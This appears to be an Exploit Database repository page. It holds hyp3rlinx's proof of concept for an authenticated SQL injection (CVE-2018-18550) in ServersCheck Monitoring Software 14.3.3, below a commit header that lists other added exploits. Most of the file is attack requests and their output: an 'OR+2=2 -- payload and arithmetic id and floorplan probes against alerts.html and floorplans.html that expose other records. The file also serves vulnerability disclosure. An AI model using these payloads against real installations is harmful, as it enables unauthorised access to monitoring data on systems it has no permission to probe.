4f60a3d8f2
9 changes to exploits/shellcodes AudaCity 2.3 - Denial of Service (PoC) Audacity 2.3 - Denial of Service (PoC) ServersCheck Monitoring Software 14.3.3 - Denial of Service (PoC) Microsoft Windows 10 - Local Privilege Escalation (UAC Bypass) Appsource School Management System 1.0 - 'student_id' SQL Injection SIM-PKH 2.4.1 - Arbitrary File Upload ServersCheck Monitoring Software 14.3.3 - 'id' SQL Injection School ERP Pro+Responsive 1.0 - Arbitrary File Download School ERP Pro+Responsive 1.0 - 'fid' SQL Injection SIM-PKH 2.4.1 - 'id' SQL Injection MGB OpenSource Guestbook 0.7.0.2 - 'id' SQL Injection
58 lines
No EOL
1.7 KiB
Text
58 lines
No EOL
1.7 KiB
Text
# Exploit Title: ServersCheck Monitoring Software 14.3.3 - 'id' SQL Injection
|
|
# Author: John Page (aka hyp3rlinx)
|
|
# Date: 2018-10-23
|
|
# Vendor: www.serverscheck.com
|
|
# Software link: http://downloads.serverscheck.com/monitoring_software/setup.exe
|
|
# CVE: N/A
|
|
# References:
|
|
# https://serverscheck.com/monitoring-software/release.asp
|
|
# http://hyp3rlinx.altervista.org/advisories/CVE-2018-18550-SERVERSCHECK-MONITORING-SOFTWARE-SQL-INJECTION.txt
|
|
|
|
# Security Issue
|
|
# ServersCheck Monitoring Software allows for SQL Injection by an authenticated user
|
|
# via the alerts.html "id" parameter.
|
|
|
|
# Exploit/POC
|
|
http://127.0.0.1:1272/alerts.html?id=18391
|
|
|
|
Result:
|
|
Alerts History for SENSORXY
|
|
No data available in table
|
|
|
|
Then using 'OR+2=2,
|
|
|
|
http://127.0.0.1:1272/alerts.html?id=18391+'OR+2=2+--+
|
|
|
|
Result:
|
|
|
|
Alerts History for test
|
|
155 a day ago CPU on 127.0.0.1 Status Change DOWN to OK
|
|
154 a day ago CPU on 127.0.0.1 Status Change OK to DOWN
|
|
153 a day ago test Status Change OK to DOWN Unable to connect to host
|
|
|
|
|
|
# SQL Injection - original page results successfully manipulated using 18391-2
|
|
# Examples:
|
|
|
|
http://127.0.0.1:1272/alerts.html?id=18391
|
|
No data available in table
|
|
|
|
Then using 34 minus 2,
|
|
|
|
http://127.0.0.1:1272/alerts.html?id=18391-2
|
|
153 a day ago test Status Change OK to DOWN Unable to connect to host
|
|
|
|
and minus 1,
|
|
|
|
http://127.0.0.1:1272/alerts.html?id=18391-1
|
|
155 a day ago CPU on 127.0.0.1 Status Change DOWN to OK
|
|
154 a day ago CPU on 127.0.0.1 Status Change OK to DOWN
|
|
|
|
|
|
http://127.0.0.1:1272/floorplans.html?floorplan=34
|
|
Floor Plan PLANXY
|
|
|
|
Then using 34 minus 2,
|
|
|
|
http://127.0.0.1:1272/floorplans.html?floorplan=34-2
|
|
Floor Plan 0 |